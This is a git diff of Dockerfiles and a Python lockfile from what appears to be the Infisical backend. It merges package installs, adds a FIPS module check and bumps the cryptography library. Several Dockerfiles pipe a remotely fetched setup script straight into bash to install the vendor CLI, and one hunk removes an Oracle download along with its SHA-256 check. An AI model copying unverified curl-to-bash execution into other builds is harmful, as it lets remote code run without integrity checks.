-        ORACLE_ZIP="instantclient-basic-linux.x64-23.26.0.0.0.zip" && \
-        ORACLE_URL="https://download.oracle.com/otn_software/linux/instantclient/2326000/${ORACLE_ZIP}" && \
-        EXPECTED_SHA="d6c79cbcf0ff209363e779855c690d4fc730aed847e9198a2c439bcf34760af5" && \
-        apt-get update && apt-get install -y libaio1t64 unzip wget && \
-        ln -sf /lib/x86_64-linux-gnu/libaio.so.1t64 /lib/x86_64-linux-gnu/libaio.so.1 && \
-        wget -q "$ORACLE_URL" && \
-        echo "$EXPECTED_SHA  $ORACLE_ZIP" | sha256sum -c - && \
-        unzip "$ORACLE_ZIP" -d /opt/oracle && \
-        rm "$ORACLE_ZIP"; \
+        ln -sf /lib/x86_64-linux-gnu/libaio.so.1t64 /lib/x86_64-linux-gnu/libaio.so.1; \
     elif [ "$ARCH" = "arm64" ]; then \
-        ORACLE_ZIP="instantclient-basic-linux.arm64-23.26.0.0.0.zip" && \
-        ORACLE_URL="https://download.oracle.com/otn_software/linux/instantclient/2326000/${ORACLE_ZIP}" && \
-        EXPECTED_SHA="9c9a32051e97f087016fb334b7ad5c0aea8511ca8363afd8e0dc6ec4fc515c32" && \
-        apt-get update && apt-get install -y libaio1t64 unzip wget && \
-        ln -sf /lib/aarch64-linux-gnu/libaio.so.1t64 /lib/aarch64-linux-gnu/libaio.so.1 && \
-        wget -q "$ORACLE_URL" && \
-        echo "$EXPECTED_SHA  $ORACLE_ZIP" | sha256sum -c - && \
-        unzip "$ORACLE_ZIP" -d /opt/oracle && \
-        rm "$ORACLE_ZIP"; \
+        ln -sf /lib/aarch64-linux-gnu/libaio.so.1t64 /lib/aarch64-linux-gnu/libaio.so.1; \
     fi && \
     echo /opt/oracle/instantclient_23_26 > /etc/ld.so.conf.d/oracle-instantclient.conf && \
-    ldconfig && \
-    rm -rf /var/lib/apt/lists/*
-
-RUN npm ci --only-production && npm cache clean --force
+    ldconfig
 
 COPY --from=build /app .
-RUN rm -rf ./bdd ./e2e-test
-
-# Install smbclient for Windows SMB operations
-RUN apt-get update && apt-get install -y smbclient
-
-# Install Infisical CLI
-RUN apt-get update && apt-get install -y curl bash && \
-    curl -1sLf 'https://artifacts-cli.infisical.com/setup.deb.sh' | bash && \
-    apt-get update && apt-get install -y infisical=0.43.14 git
+RUN rm -rf ./node_modules ./bdd ./e2e-test
+COPY --from=prod-deps /app/node_modules ./node_modules
 
 HEALTHCHECK --interval=10s --timeout=3s --start-period=10s \
     CMD node healthcheck.js
diff --git a/backend/Dockerfile.dev b/backend/Dockerfile.dev
index a072ce5a9f8..67c1e762a6f 100644
--- a/backend/Dockerfile.dev
+++ b/backend/Dockerfile.dev
@@ -7,7 +7,7 @@ ARG SOFTHSM2_VERSION=2.5.0
 ENV SOFTHSM2_VERSION=${SOFTHSM2_VERSION} \
     SOFTHSM2_SOURCES=/tmp/softhsm2
 
-# Install build dependencies including python3 (required for pkcs11js and partially TDS driver)
+# Install all build and runtime dependencies
 RUN apt-get update && apt-get install -y \
     build-essential \
     autoconf \
@@ -24,26 +24,27 @@ RUN apt-get update && apt-get install -y \
     wget \
     perl \
     pkg-config \
-    unzip
-
-# Install libaio (required for Oracle Instant Client) - architecture-specific for Debian Trixie
+    unzip \
+    libaio1t64 \
+    unixodbc \
+    unixodbc-dev \
+    freetds-dev \
+    freetds-bin \
+    tdsodbc \
+    opensc \
+    smbclient \
+    && curl -1sLf 'https://artifacts-cli.infisical.com/setup.deb.sh' | bash \
+    && apt-get update && apt-get install -y infisical=0.43.14 \
+    && rm -rf /var/lib/apt/lists/*
+
+# Create libaio symlink for Oracle Instant Client
 RUN ARCH=$(dpkg --print-architecture) && \
     if [ "$ARCH" = "arm64" ]; then \
-      apt-get install -y libaio1t64 && \
       ln -sf /lib/aarch64-linux-gnu/libaio.so.1t64 /lib/aarch64-linux-gnu/libaio.so.1; \
     else \
-      apt-get install -y libaio1t64 && \
       ln -sf /lib/x86_64-linux-gnu/libaio.so.1t64 /lib/x86_64-linux-gnu/libaio.so.1; \
     fi
 
-# Install dependencies for TDS driver (required for SAP ASE dynamic secrets)
-RUN apt-get install -y \
-    unixodbc \
-    unixodbc-dev \
-    freetds-dev \
-    freetds-bin \
-    tdsodbc
-
 RUN printf "[FreeTDS]\nDescription = FreeTDS Driver\nDriver = /usr/lib/x86_64-linux-gnu/odbc/libtdsodbc.so\nSetup = /usr/lib/x86_64-linux-gnu/odbc/libtdsodbc.so\nFileUsage = 1\n" > /etc/odbcinst.ini
 
 # Build and install SoftHSM2
@@ -59,9 +60,6 @@ RUN git checkout ${SOFTHSM2_VERSION} -b ${SOFTHSM2_VERSION} \
 WORKDIR /root
 RUN rm -fr ${SOFTHSM2_SOURCES}
 
-# Install pkcs11-tool
-RUN apt-get install -y opensc
-
 # Install Oracle Instant Client for OracleDB mTLS (Wallet) support
 RUN mkdir -p /opt/oracle && \
     ARCH=$(dpkg --print-architecture) && \
@@ -92,14 +90,6 @@ RUN wget -q https://github.com/openssl/openssl/releases/download/openssl-3.5.6/o
 
 # ? App setup
 
-# Install smbclient for Windows SMB operations
-RUN apt-get update && apt-get install -y smbclient
-
-# Install Infisical CLI
-RUN curl -1sLf 'https://artifacts-cli.infisical.com/setup.deb.sh' | bash && \
-    apt-get update && \
-    apt-get install -y infisical=0.43.14
-
 WORKDIR /app
 
 COPY package.json package.json
diff --git a/backend/Dockerfile.dev.fips b/backend/Dockerfile.dev.fips
index 911799f17e8..20fd369f017 100644
--- a/backend/Dockerfile.dev.fips
+++ b/backend/Dockerfile.dev.fips
@@ -7,7 +7,7 @@ ARG SOFTHSM2_VERSION=2.5.0
 ENV SOFTHSM2_VERSION=${SOFTHSM2_VERSION} \
     SOFTHSM2_SOURCES=/tmp/softhsm2
 
-# Install build dependencies including python3 (required for pkcs11js and partially TDS driver)
+# Install all build and runtime dependencies
 RUN apt-get update && apt-get install -y \
     build-essential \
     autoconf \
@@ -23,25 +23,24 @@ RUN apt-get update && apt-get install -y \
     pkg-config \
     perl \
     wget \
-    unzip
-
-# Install libaio (required for Oracle Instant Client) - architecture-specific for Debian Trixie
-RUN ARCH=$(dpkg --print-architecture) && \
-    if [ "$ARCH" = "arm64" ]; then \
-      apt-get install -y libaio1t64 && \
-      ln -sf /lib/aarch64-linux-gnu/libaio.so.1t64 /lib/aarch64-linux-gnu/libaio.so.1; \
-    else \
-      apt-get install -y libaio1t64 && \
-      ln -sf /lib/x86_64-linux-gnu/libaio.so.1t64 /lib/x86_64-linux-gnu/libaio.so.1; \
-    fi
-
-# Install dependencies for TDS driver (required for SAP ASE dynamic secrets)
-RUN apt-get install -y \
+    unzip \
+    libaio1t64 \
     unixodbc \
     unixodbc-dev \
     freetds-dev \
     freetds-bin \
-    tdsodbc
+    tdsodbc \
+    opensc \
+    smbclient \
+    && curl -1sLf 'https://artifacts-cli.infisical.com/setup.deb.sh' | bash \
+    && apt-get update && apt-get install -y infisical=0.43.14 \
+    && rm -rf /var/lib/apt/lists/*
+
+# Create libaio symlink for Oracle Instant Client
+RUN ARCH=$(dpkg --print-architecture) && \
+    if [ "$ARCH" = "arm64" ]; then \
+      ln -sf /lib/aarch64-linux-gnu/libaio.so.1t64 /lib/aarch64-linux-gnu/libaio.so.1; \
+    fi
 
 RUN printf "[FreeTDS]\nDescription = FreeTDS Driver\nDriver = /usr/lib/x86_64-linux-gnu/odbc/libtdsodbc.so\nSetup = /usr/lib/x86_64-linux-gnu/odbc/libtdsodbc.so\nFileUsage = 1\n" > /etc/odbcinst.ini
 
@@ -58,9 +57,6 @@ RUN git checkout ${SOFTHSM2_VERSION} -b ${SOFTHSM2_VERSION} \
 WORKDIR /root
 RUN rm -fr ${SOFTHSM2_SOURCES}
 
-# Install pkcs11-tool
-RUN apt-get install -y opensc
-
 # Install Oracle Instant Client for OracleDB mTLS (Wallet) support
 RUN mkdir -p /opt/oracle && \
     ARCH=$(dpkg --print-architecture) && \
@@ -81,9 +77,10 @@ WORKDIR /openssl-build
 RUN wget https://www.openssl.org/source/openssl-3.1.2.tar.gz \
     && tar -xf openssl-3.1.2.tar.gz \
     && cd openssl-3.1.2 \
-    && ./Configure enable-fips \
+    && ./Configure enable-fips --libdir=lib \
     && make \
     && make install_fips \
+    && test -f /usr/local/lib/ossl-modules/fips.so \
     && cd / \
     && rm -rf /openssl-build \
     && apt-get clean \
@@ -103,14 +100,6 @@ RUN wget -q https://github.com/openssl/openssl/releases/download/openssl-3.5.6/o
 
 # ? App setup
 
-# Install smbclient for Windows SMB operations
-RUN apt-get update && apt-get install -y smbclient
-
-# Install Infisical CLI
-RUN curl -1sLf 'https://artifacts-cli.infisical.com/setup.deb.sh' | bash && \
-    apt-get update && \
-    apt-get install -y infisical=0.43.14
-
 WORKDIR /app
 
 COPY package.json package.json
diff --git a/backend/bdd/uv.lock b/backend/bdd/uv.lock
index 49e1fca7352..67d2303a5fc 100644
--- a/backend/bdd/uv.lock
+++ b/backend/bdd/uv.lock
@@ -230,58 +230,55 @@ wheels = [
 
 [[package]]
 name = "cryptography"
-version = "46.0.3"
+version = "46.0.7"
 source = { registry = "https://pypi.org/simple" }
 dependencies = [
     { name = "cffi", marker = "platform_python_implementation != 'PyPy'" },
 ]
-sdist = { url = "https://files.pythonhosted.org/packages/9f/33/c00162f49c0e2fe8064a62cb92b93e50c74a72bc370ab92f86112b33ff62/cryptography-46.0.3.tar.gz", hash = "sha256:a8b17438104fed022ce745b362294d9ce35b4c2e45c1d958ad4a4b019285f4a1", size = 749258, upload-time = "2025-10-15T23:18:31.74Z" }
-wheels = [
-    { url = "https://files.pythonhosted.org/packages/1d/42/9c391dd801d6cf0d561b5890549d4b27bafcc53b39c31a817e69d87c625b/cryptography-46.0.3-cp311-abi3-macosx_10_9_universal2.whl", hash = "sha256:109d4ddfadf17e8e7779c39f9b18111a09efb969a301a31e987416a0191ed93a", size = 7225004, upload-time = "2025-10-15T23:16:52.239Z" },
-    { url = "https://files.pythonhosted.org/packages/1c/67/38769ca6b65f07461eb200e85fc1639b438bdc667be02cf7f2cd6a64601c/cryptography-46.0.3-cp311-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:09859af8466b69bc3c27bdf4f5d84a665e0f7ab5088412e9e2ec49758eca5cbc", size = 4296667, upload-time = "2025-10-15T23:16:54.369Z" },
-    { url = "https://files.pythonhosted.org/packages/5c/49/498c86566a1d80e978b42f0d702795f69887005548c041636df6ae1ca64c/cryptography-46.0.3-cp311-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:01ca9ff2885f3acc98c29f1860552e37f6d7c7d013d7334ff2a9de43a449315d", size = 4450807, upload-time = "2025-10-15T23:16:56.414Z" },
-    { url = "https://files.pythonhosted.org/packages/4b/0a/863a3604112174c8624a2ac3c038662d9e59970c7f926acdcfaed8d61142/cryptography-46.0.3-cp311-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:6eae65d4c3d33da080cff9c4ab1f711b15c1d9760809dad6ea763f3812d254cb", size = 4299615, upload-time = "2025-10-15T23:16:58.442Z" },
-    { url = "https://files.pythonhosted.org/packages/64/02/b73a533f6b64a69f3cd3872acb6ebc12aef924d8d103133bb3ea750dc703/cryptography-46.0.3-cp311-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:e5bf0ed4490068a2e72ac03d786693adeb909981cc596425d09032d372bcc849", size = 4016800, upload-time = "2025-10-15T23:17:00.378Z" },
-    { url = "https://files.pythonhosted.org/packages/25/d5/16e41afbfa450cde85a3b7ec599bebefaef16b5c6ba4ec49a3532336ed72/cryptography-46.0.3-cp311-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:5ecfccd2329e37e9b7112a888e76d9feca2347f12f37918facbb893d7bb88ee8", size = 4984707, upload-time = "2025-10-15T23:17:01.98Z" },
-    { url = "https://files.pythonhosted.org/packages/c9/56/e7e69b427c3878352c2fb9b450bd0e19ed552753491d39d7d0a2f5226d41/cryptography-46.0.3-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:a2c0cd47381a3229c403062f764160d57d4d175e022c1df84e168c6251a22eec", size = 4482541, upload-time = "2025-10-15T23:17:04.078Z" },
-    { url = "https://files.pythonhosted.org/packages/78/f6/50736d40d97e8483172f1bb6e698895b92a223dba513b0ca6f06b2365339/cryptography-46.0.3-cp311-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:549e234ff32571b1f4076ac269fcce7a808d3bf98b76c8dd560e42dbc66d7d91", size = 4299464, upload-time = "2025-10-15T23:17:05.483Z" },
-    { url = "https://files.pythonhosted.org/packages/00/de/d8e26b1a855f19d9994a19c702fa2e93b0456beccbcfe437eda00e0701f2/cryptography-46.0.3-cp311-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:c0a7bb1a68a5d3471880e264621346c48665b3bf1c3759d682fc0864c540bd9e", size = 4950838, upload-time = "2025-10-15T23:17:07.425Z" },
-    { url = "https://files.pythonhosted.org/packages/8f/29/798fc4ec461a1c9e9f735f2fc58741b0daae30688f41b2497dcbc9ed1355/cryptography-46.0.3-cp311-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:10b01676fc208c3e6feeb25a8b83d81767e8059e1fe86e1dc62d10a3018fa926", size = 4481596, upload-time = "2025-10-15T23:17:09.343Z" },
-    { url = "https://files.pythonhosted.org/packages/15/8d/03cd48b20a573adfff7652b76271078e3045b9f49387920e7f1f631d125e/cryptography-46.0.3-cp311-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:0abf1ffd6e57c67e92af68330d05760b7b7efb243aab8377e583284dbab72c71", size = 4426782, upload-time = "2025-10-15T23:17:11.22Z" },
-    { url = "https://files.pythonhosted.org/packages/fa/b1/ebacbfe53317d55cf33165bda24c86523497a6881f339f9aae5c2e13e57b/cryptography-46.0.3-cp311-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:a04bee9ab6a4da801eb9b51f1b708a1b5b5c9eb48c03f74198464c66f0d344ac", size = 4698381, upload-time = "2025-10-15T23:17:12.829Z" },
-    { url = "https://files.pythonhosted.org/packages/96/92/8a6a9525893325fc057a01f654d7efc2c64b9de90413adcf605a85744ff4/cryptography-46.0.3-cp311-abi3-win32.whl", hash = "sha256:f260d0d41e9b4da1ed1e0f1ce571f97fe370b152ab18778e9e8f67d6af432018", size = 3055988, upload-time = "2025-10-15T23:17:14.65Z" },
-    { url = "https://files.pythonhosted.org/packages/7e/bf/80fbf45253ea585a1e492a6a17efcb93467701fa79e71550a430c5e60df0/cryptography-46.0.3-cp311-abi3-win_amd64.whl", hash = "sha256:a9a3008438615669153eb86b26b61e09993921ebdd75385ddd748702c5adfddb", size = 3514451, upload-time = "2025-10-15T23:17:16.142Z" },
-    { url = "https://files.pythonhosted.org/packages/2e/af/9b302da4c87b0beb9db4e756386a7c6c5b8003cd0e742277888d352ae91d/cryptography-46.0.3-cp311-abi3-win_arm64.whl", hash = "sha256:5d7f93296ee28f68447397bf5198428c9aeeab45705a55d53a6343455dcb2c3c", size = 2928007, upload-time = "2025-10-15T23:17:18.04Z" },
-    { url = "https://files.pythonhosted.org/packages/f5/e2/a510aa736755bffa9d2f75029c229111a1d02f8ecd5de03078f4c18d91a3/cryptography-46.0.3-cp314-cp314t-macosx_10_9_universal2.whl", hash = "sha256:00a5e7e87938e5ff9ff5447ab086a5706a957137e6e433841e9d24f38a065217", size = 7158012, upload-time = "2025-10-15T23:17:19.982Z" },
-    { url = "https://files.pythonhosted.org/packages/73/dc/9aa866fbdbb95b02e7f9d086f1fccfeebf8953509b87e3f28fff927ff8a0/cryptography-46.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:c8daeb2d2174beb4575b77482320303f3d39b8e81153da4f0fb08eb5fe86a6c5", size = 4288728, upload-time = "2025-10-15T23:17:21.527Z" },
-    { url = "https://files.pythonhosted.org/packages/c5/fd/bc1daf8230eaa075184cbbf5f8cd00ba9db4fd32d63fb83da4671b72ed8a/cryptography-46.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:39b6755623145ad5eff1dab323f4eae2a32a77a7abef2c5089a04a3d04366715", size = 4435078, upload-time = "2025-10-15T23:17:23.042Z" },
-    { url = "https://files.pythonhosted.org/packages/82/98/d3bd5407ce4c60017f8ff9e63ffee4200ab3e23fe05b765cab805a7db008/cryptography-46.0.3-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:db391fa7c66df6762ee3f00c95a89e6d428f4d60e7abc8328f4fe155b5ac6e54", size = 4293460, upload-time = "2025-10-15T23:17:24.885Z" },
-    { url = "https://files.pythonhosted.org/packages/26/e9/e23e7900983c2b8af7a08098db406cf989d7f09caea7897e347598d4cd5b/cryptography-46.0.3-cp314-cp314t-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:78a97cf6a8839a48c49271cdcbd5cf37ca2c1d6b7fdd86cc864f302b5e9bf459", size = 3995237, upload-time = "2025-10-15T23:17:26.449Z" },
-    { url = "https://files.pythonhosted.org/packages/91/15/af68c509d4a138cfe299d0d7ddb14afba15233223ebd933b4bbdbc7155d3/cryptography-46.0.3-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:dfb781ff7eaa91a6f7fd41776ec37c5853c795d3b358d4896fdbb5df168af422", size = 4967344, upload-time = "2025-10-15T23:17:28.06Z" },
-    { url = "https://files.pythonhosted.org/packages/ca/e3/8643d077c53868b681af077edf6b3cb58288b5423610f21c62aadcbe99f4/cryptography-46.0.3-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:6f61efb26e76c45c4a227835ddeae96d83624fb0d29eb5df5b96e14ed1a0afb7", size = 4466564, upload-time = "2025-10-15T23:17:29.665Z" },
-    { url = "https://files.pythonhosted.org/packages/0e/43/c1e8726fa59c236ff477ff2b5dc071e54b21e5a1e51aa2cee1676f1c986f/cryptography-46.0.3-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:23b1a8f26e43f47ceb6d6a43115f33a5a37d57df4ea0ca295b780ae8546e8044", size = 4292415, upload-time = "2025-10-15T23:17:31.686Z" },
-    { url = "https://files.pythonhosted.org/packages/42/f9/2f8fefdb1aee8a8e3256a0568cffc4e6d517b256a2fe97a029b3f1b9fe7e/cryptography-46.0.3-cp314-cp314t-manylinux_2_34_ppc64le.whl", hash = "sha256:b419ae593c86b87014b9be7396b385491ad7f320bde96826d0dd174459e54665", size = 4931457, upload-time = "2025-10-15T23:17:33.478Z" },
-    { url = "https://files.pythonhosted.org/packages/79/30/9b54127a9a778ccd6d27c3da7563e9f2d341826075ceab89ae3b41bf5be2/cryptography-46.0.3-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:50fc3343ac490c6b08c0cf0d704e881d0d660be923fd3076db3e932007e726e3", size = 4466074, upload-time = "2025-10-15T23:17:35.158Z" },
-    { url = "https://files.pythonhosted.org/packages/ac/68/b4f4a10928e26c941b1b6a179143af9f4d27d88fe84a6a3c53592d2e76bf/cryptography-46.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:22d7e97932f511d6b0b04f2bfd818d73dcd5928db509460aaf48384778eb6d20", size = 4420569, upload-time = "2025-10-15T23:17:37.188Z" },
-    { url = "https://files.pythonhosted.org/packages/a3/49/3746dab4c0d1979888f125226357d3262a6dd40e114ac29e3d2abdf1ec55/cryptography-46.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:d55f3dffadd674514ad19451161118fd010988540cee43d8bc20675e775925de", size = 4681941, upload-time = "2025-10-15T23:17:39.236Z" },
-    { url = "https://files.pythonhosted.org/packages/fd/30/27654c1dbaf7e4a3531fa1fc77986d04aefa4d6d78259a62c9dc13d7ad36/cryptography-46.0.3-cp314-cp314t-win32.whl", hash = "sha256:8a6e050cb6164d3f830453754094c086ff2d0b2f3a897a1d9820f6139a1f0914", size = 3022339, upload-time = "2025-10-15T23:17:40.888Z" },
-    { url = "https://files.pythonhosted.org/packages/f6/30/640f34ccd4d2a1bc88367b54b926b781b5a018d65f404d409aba76a84b1c/cryptography-46.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:760f83faa07f8b64e9c33fc963d790a2edb24efb479e3520c14a45741cd9b2db", size = 3494315, upload-time = "2025-10-15T23:17:42.769Z" },
-    { url = "https://files.pythonhosted.org/packages/ba/8b/88cc7e3bd0a8e7b861f26981f7b820e1f46aa9d26cc482d0feba0ecb4919/cryptography-46.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:516ea134e703e9fe26bcd1277a4b59ad30586ea90c365a87781d7887a646fe21", size = 2919331, upload-time = "2025-10-15T23:17:44.468Z" },
-    { url = "https://files.pythonhosted.org/packages/fd/23/45fe7f376a7df8daf6da3556603b36f53475a99ce4faacb6ba2cf3d82021/cryptography-46.0.3-cp38-abi3-macosx_10_9_universal2.whl", hash = "sha256:cb3d760a6117f621261d662bccc8ef5bc32ca673e037c83fbe565324f5c46936", size = 7218248, upload-time = "2025-10-15T23:17:46.294Z" },
-    { url = "https://files.pythonhosted.org/packages/27/32/b68d27471372737054cbd34c84981f9edbc24fe67ca225d389799614e27f/cryptography-46.0.3-cp38-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:4b7387121ac7d15e550f5cb4a43aef2559ed759c35df7336c402bb8275ac9683", size = 4294089, upload-time = "2025-10-15T23:17:48.269Z" },
-    { url = "https://files.pythonhosted.org/packages/26/42/fa8389d4478368743e24e61eea78846a0006caffaf72ea24a15159215a14/cryptography-46.0.3-cp38-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:15ab9b093e8f09daab0f2159bb7e47532596075139dd74365da52ecc9cb46c5d", size = 4440029, upload-time = "2025-10-15T23:17:49.837Z" },
-    { url = "https://files.pythonhosted.org/packages/5f/eb/f483db0ec5ac040824f269e93dd2bd8a21ecd1027e77ad7bdf6914f2fd80/cryptography-46.0.3-cp38-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:46acf53b40ea38f9c6c229599a4a13f0d46a6c3fa9ef19fc1a124d62e338dfa0", size = 4297222, upload-time = "2025-10-15T23:17:51.357Z" },
-    { url = "https://files.pythonhosted.org/packages/fd/cf/da9502c4e1912cb1da3807ea3618a6829bee8207456fbbeebc361ec38ba3/cryptography-46.0.3-cp38-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:10ca84c4668d066a9878890047f03546f3ae0a6b8b39b697457b7757aaf18dbc", size = 4012280, upload-time = "2025-10-15T23:17:52.964Z" },
-    { url = "https://files.pythonhosted.org/packages/6b/8f/9adb86b93330e0df8b3dcf03eae67c33ba89958fc2e03862ef1ac2b42465/cryptography-46.0.3-cp38-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:36e627112085bb3b81b19fed209c05ce2a52ee8b15d161b7c643a7d5a88491f3", size = 4978958, upload-time = "2025-10-15T23:17:54.965Z" },
-    { url = "https://files.pythonhosted.org/packages/d1/a0/5fa77988289c34bdb9f913f5606ecc9ada1adb5ae870bd0d1054a7021cc4/cryptography-46.0.3-cp38-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:1000713389b75c449a6e979ffc7dcc8ac90b437048766cef052d4d30b8220971", size = 4473714, upload-time = "2025-10-15T23:17:56.754Z" },
-    { url = "https://files.pythonhosted.org/packages/14/e5/fc82d72a58d41c393697aa18c9abe5ae1214ff6f2a5c18ac470f92777895/cryptography-46.0.3-cp38-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:b02cf04496f6576afffef5ddd04a0cb7d49cf6be16a9059d793a30b035f6b6ac", size = 4296970, upload-time = "2025-10-15T23:17:58.588Z" },
-    { url = "https://files.pythonhosted.org/packages/78/06/5663ed35438d0b09056973994f1aec467492b33bd31da36e468b01ec1097/cryptography-46.0.3-cp38-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:71e842ec9bc7abf543b47cf86b9a743baa95f4677d22baa4c7d5c69e49e9bc04", size = 4940236, upload-time = "2025-10-15T23:18:00.897Z" },
-    { url = "https://files.pythonhosted.org/packages/fc/59/873633f3f2dcd8a053b8dd1d38f783043b5fce589c0f6988bf55ef57e43e/cryptography-46.0.3-cp38-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:402b58fc32614f00980b66d6e56a5b4118e6cb362ae8f3fda141ba4689bd4506", size = 4472642, upload-time = "2025-10-15T23:18:02.749Z" },
-    { url = "https://files.pythonhosted.org/packages/3d/39/8e71f3930e40f6877737d6f69248cf74d4e34b886a3967d32f919cc50d3b/cryptography-46.0.3-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:ef639cb3372f69ec44915fafcd6698b6cc78fbe0c2ea41be867f6ed612811963", size = 4423126, upload-time = "2025-10-15T23:18:04.85Z" },
-    { url = "https://files.pythonhosted.org/packages/cd/c7/f65027c2810e14c3e7268353b1681932b87e5a48e65505d8cc17c99e36ae/cryptography-46.0.3-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:3b51b8ca4f1c6453d8829e1eb7299499ca7f313900dd4d89a24b8b87c0a780d4", size = 4686573, upload-time = "2025-10-15T23:18:06.908Z" },
-    { url = "https://files.pythonhosted.org/packages/0a/6e/1c8331ddf91ca4730ab3086a0f1be19c65510a33b5a441cb334e7a2d2560/cryptography-46.0.3-cp38-abi3-win32.whl", hash = "sha256:6276eb85ef938dc035d59b87c8a7dc559a232f954962520137529d77b18ff1df", size = 3036695, upload-time = "2025-10-15T23:18:08.672Z" },
-    { url = "https://files.pythonhosted.org/packages/90/45/b0d691df20633eff80955a0fc7695ff9051ffce8b69741444bd9ed7bd0db/cryptography-46.0.3-cp38-abi3-win_amd64.whl", hash = "sha256:416260257577718c05135c55958b674000baef9a1c7d9e8f306ec60d71db850f", size = 3501720, upload-time = "2025-10-15T23:18:10.632Z" },
-    { url = "https://files.pythonhosted.org/packages/e8/cb/2da4cc83f5edb9c3257d09e1e7ab7b23f049c7962cae8d842bbef0a9cec9/cryptography-46.0.3-cp38-abi3-win_arm64.whl", hash = "sha256:d89c3468de4cdc4f08a57e214384d0471911a3830fcdaf7a8cc587e42a866372", size = 2918740, upload-time = "2025-10-15T23:18:12.277Z" },
+sdist = { url = "https://files.pythonhosted.org/packages/47/93/ac8f3d5ff04d54bc814e961a43ae5b0b146154c89c61b47bb07557679b18/cryptography-46.0.7.tar.gz", hash = "sha256:e4cfd68c5f3e0bfdad0d38e023239b96a2fe84146481852dffbcca442c245aa5", size = 750652, upload-time = "2026-04-08T01:57:54.692Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/0b/5d/4a8f770695d73be252331e60e526291e3df0c9b27556a90a6b47bccca4c2/cryptography-46.0.7-cp311-abi3-macosx_10_9_universal2.whl", hash = "sha256:ea42cbe97209df307fdc3b155f1b6fa2577c0defa8f1f7d3be7d31d189108ad4", size = 7179869, upload-time = "2026-04-08T01:56:17.157Z" },
+    { url = "https://files.pythonhosted.org/packages/5f/45/6d80dc379b0bbc1f9d1e429f42e4cb9e1d319c7a8201beffd967c516ea01/cryptography-46.0.7-cp311-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b36a4695e29fe69215d75960b22577197aca3f7a25b9cf9d165dcfe9d80bc325", size = 4275492, upload-time = "2026-04-08T01:56:19.36Z" },
+    { url = "https://files.pythonhosted.org/packages/4a/9a/1765afe9f572e239c3469f2cb429f3ba7b31878c893b246b4b2994ffe2fe/cryptography-46.0.7-cp311-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5ad9ef796328c5e3c4ceed237a183f5d41d21150f972455a9d926593a1dcb308", size = 4426670, upload-time = "2026-04-08T01:56:21.415Z" },
+    { url = "https://files.pythonhosted.org/packages/8f/3e/af9246aaf23cd4ee060699adab1e47ced3f5f7e7a8ffdd339f817b446462/cryptography-46.0.7-cp311-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:73510b83623e080a2c35c62c15298096e2a5dc8d51c3b4e1740211839d0dea77", size = 4280275, upload-time = "2026-04-08T01:56:23.539Z" },
+    { url = "https://files.pythonhosted.org/packages/0f/54/6bbbfc5efe86f9d71041827b793c24811a017c6ac0fd12883e4caa86b8ed/cryptography-46.0.7-cp311-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:cbd5fb06b62bd0721e1170273d3f4d5a277044c47ca27ee257025146c34cbdd1", size = 4928402, upload-time = "2026-04-08T01:56:25.624Z" },
+    { url = "https://files.pythonhosted.org/packages/2d/cf/054b9d8220f81509939599c8bdbc0c408dbd2bdd41688616a20731371fe0/cryptography-46.0.7-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:420b1e4109cc95f0e5700eed79908cef9268265c773d3a66f7af1eef53d409ef", size = 4459985, upload-time = "2026-04-08T01:56:27.309Z" },
+    { url = "https://files.pythonhosted.org/packages/f9/46/4e4e9c6040fb01c7467d47217d2f882daddeb8828f7df800cb806d8a2288/cryptography-46.0.7-cp311-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:24402210aa54baae71d99441d15bb5a1919c195398a87b563df84468160a65de", size = 3990652, upload-time = "2026-04-08T01:56:29.095Z" },
+    { url = "https://files.pythonhosted.org/packages/36/5f/313586c3be5a2fbe87e4c9a254207b860155a8e1f3cca99f9910008e7d08/cryptography-46.0.7-cp311-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:8a469028a86f12eb7d2fe97162d0634026d92a21f3ae0ac87ed1c4a447886c83", size = 4279805, upload-time = "2026-04-08T01:56:30.928Z" },
